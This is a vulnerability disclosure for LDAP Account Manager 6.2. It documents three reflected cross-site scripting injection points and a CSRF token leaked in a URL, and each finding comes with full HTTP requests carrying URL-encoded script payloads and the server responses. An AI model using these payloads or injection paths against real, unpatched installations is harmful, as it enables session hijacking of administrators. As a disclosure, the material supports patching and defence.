LDAP Account Manager (6.2) -

Affected Software: LDAP Account Manager (6.2) Pentester: MichaA KAdzior CVE: CVE-2018-8763, CVE-2018-8764 Vulnerabilities : ***************** 1. Cross-site scripting (reflected) CVE-2018-8763 : ================================ Risk: HIGH Summary: *********** Reflected Cross Site Scripting vulnerability has been found during the test. It allows for injecting and executing JavaScript code in the application context. JavaScript code is only reflected by the server, which differs from Stored Cross-Site Scripting that stores code in the application permanently. This vulnerability is mostly exploited in order to hijack authenticated users sessions. It can also be used to redirect users to malicious websites or steal application user's keystokes. Proof: ******* I. Vulnerable parameter dn: ===================== Request with payload [%3cscript%3ealert(document.domain)%3c%2fscript%3e]: GET /lam/templates/3rdParty/pla/htdocs/cmd.php?cmd=add_attr_ form&server_id=1&dn=cn%3xxxxx%2cou%3dpeople%2cdc%3dpl%2cdc% 3ds2-eu%2cdc%3dxxxx%2cdc%3dlocalru0bz%3cscript%3ealert( document.domain)%3c%2fscript%3eu89iu HTTP/1.1 Host: XXXXXXXXXX Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: XXXXXXXXX Cookie: XXXXXXXXXX Response with execution point []: HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate Content-Length: 12887 Content-Security-Policy: frame-ancestors 'self' Content-Type: text/html; charset="UTF-8" Date: Fri, 02 Mar 2018 09:52:18 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Server: Apache/2.4.29 (Debian) Vary: Accept-Encoding X-Frame-Options: sameorigin Connection: close LDAP Account Manager (6.2) - [a|]

	Error
	The entry (cn=xxxxx,ou=people,dc=pl,dc=s2-eu,dc=xxxx,dc=localru0bz< script>alert(document.domain)u89iu) does not exist.

II. Vulnerable parameter template: ======================== Request with payload [%22%3e%3cscript%3ealert(document.domain)%3c%2fscript% 3e]: GET /lam/templates/3rdParty/pla/htdocs/cmd.php?cmd=rename_ form&server_id=1&dn=cn%3Dtechnic%2Cou%3Dpeople%2Cdc% 3Dpl%2Cdc%3Ds2-eu%2Cdc%3Dxxxx%2Cdc%3Dlocal&template= noneuaax6%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ev7rfn HTTP/1.1 Host: xxxxxxx Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Response with execution point [">]: HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate Content-Length: 22141 Content-Security-Policy: frame-ancestors 'self' Content-Type: text/html; charset="UTF-8" Date: Fri, 02 Mar 2018 11:22:27 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Server: Apache/2.4.29 (Debian) Vary: Accept-Encoding X-Frame-Options: sameorigin Connection: close LDAP Account Manager (6.2) - cn=technic,ou=people,dc=pl,dc=s2-eu,dc=xxxx,dc=local [a|]

Rename cn=technic

DN: cn=technic,ou=people,dc=pl,dc=s2-eu,dc=xxx,dc=local

Rename cn=technic to a new object.

III. Vulnerable parameter type: ===================== Request with payload [%22%3e%3cscript%3ealert(document.domain)%3c%2fscript% 3e]: GET /lam/templates/upload/masscreate.php?type=userawvpj% 22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ev0car HTTP/1.1 Host: xxxxx Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: xxxxxx Cookie: xxxxxx Response with execution point [">]: HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8418 Content-Security-Policy: frame-ancestors 'self' Content-Type: text/html; charset=UTF-8 Date: Fri, 02 Mar 2018 11:10:05 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Server: Apache/2.4.29 (Debian) Vary: Accept-Encoding X-Frame-Options: sameorigin Connection: close LDAP Account Manager (directoryservice:389) [a|]

v0car-bright smallPaddingContent">

Account creation via file upload

Here you can create multiple accounts by providing a CSV file.

[a|] Remediation: *************** Vulnerabilities has been fixed by vendor in version 6.3 2. CSRF token in URL CVE-2018-8764 ================= Risk: LOW Summary: ************ Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker. Proof: ******* Request witch reveals CSRF token [sec_token=1045368361844]: GET /lam/templates/misc/ajax.php?function=passwordChange&sec_token=1045368361844 HTTP/1.1 Host: xxxx Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: xxxxx Cookie: xxxxxx Remediation: *************** Vulnerability has been fixed by vendor in version 6.3

Account type